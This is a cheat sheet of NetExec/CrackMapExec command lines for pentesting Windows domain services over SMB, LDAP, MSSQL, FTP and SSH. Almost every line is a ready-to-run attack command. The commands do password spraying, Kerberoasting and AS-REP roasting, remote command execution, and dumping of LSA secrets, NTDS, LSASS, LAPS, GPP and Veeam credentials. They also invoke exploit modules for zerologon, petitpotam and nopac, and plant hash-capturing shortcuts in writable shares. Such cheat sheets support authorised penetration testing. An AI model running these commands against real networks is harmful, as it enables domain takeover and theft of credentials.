A cheat sheet for NetExec and CrackMapExec, featuring useful commands and modules for different services to use during Pentesting
- NetExec: https://github.com/Pennyw0rth/NetExec
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec (no longer maintained)
- Installation: https://www.netexec.wiki/getting-started/installation
netexec smb target
netexec smb target -u '' -p ''
netexec smb target -u 'guest' -p ''
netexec smb target -u '' -p '' --shares
netexec smb target -u username -p password --shares
netexec smb target -u '' -p '' --users
netexec smb target -u '' -p '' --rid-brute
netexec smb target -u username -p password --users
netexec smb target -u username -p password --local-auth
netexec smb target -u username -p password -k
netexec smb target(s) --gen-relay-list relay.txt
netexec smb target -u users.txt -p password --continue-on-success
netexec smb target -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-success
netexec ssh target -u username -p password --continue-on-success
netexec smb target -u username -p password --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
netexec smb target -u username -p password -M spider_plus
netexec smb target -u username -p password -M spider_plus -o READ_ONLY=false
netexec smb target -u username -p password -k --get-file target_file output_file --share sharename
netexec ftp target -u username -p password --ls
netexec ftp target -u username -p password --ls folder_name
netexec ftp target -u username -p password --ls folder_name --get file_name
netexec ldap target -u '' -p '' --users
netexec ldap target -u username -p password --trusted-for-delegation --password-not-required --admin-count --users --groups
netexec ldap target -u username -p password --kerberoasting kerb.txt
netexec ldap target -u username -p password --asreproast asrep.txt
netexec mssql target -u username -p password
-X for powershell and -x for cmd
netexec mssql target -u username -p password -x command_to_execute
netexec mssql target -u username -p password --get-file output_file target_file
netexec smb target -u username -p password --local-auth --lsa
netexec ldap target -u username -p password --gmsa-convert-id id
netexec ldap domain -u username -p password --gmsa-decrypt-lsa gmsa_account
netexec smb target -u username -p password -M gpp_password
netexec smb target -u username -p password --laps
netexec smb target -u username -p password --laps --dpapi
netexec smb target -u username -p password --ntds
nxc ldap target -u username -p password --bloodhound --dns-server ip --dns-tcp -c all
Checks whether the WebClient service is running on the target
netexec smb ip -u username -p password -M webdav
Extracts credentials from local Veeam SQL Database
netexec smb target -u username -p password -M veeam
Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
netexec smb ip -u username -p password -M slinky
Dump NTDS with ntdsutil
netexec smb ip -u username -p password -M ntdsutil
Checks whether LDAP signing and binding are required and/or enforced
cme ldap target -u username -p password -M ldap-checker
netexec smb target -u username -p password -M zerologon
netexec smb target -u username -p password -M petitpotam
netexec smb target -u username -p password -M nopac
netexec ldap target -u username -p password -M maq
netexec ldap target -u username -p password -M adcs
netexec smb target -u username -p password -M lsassy
netexec smb target -u username -p password -M msol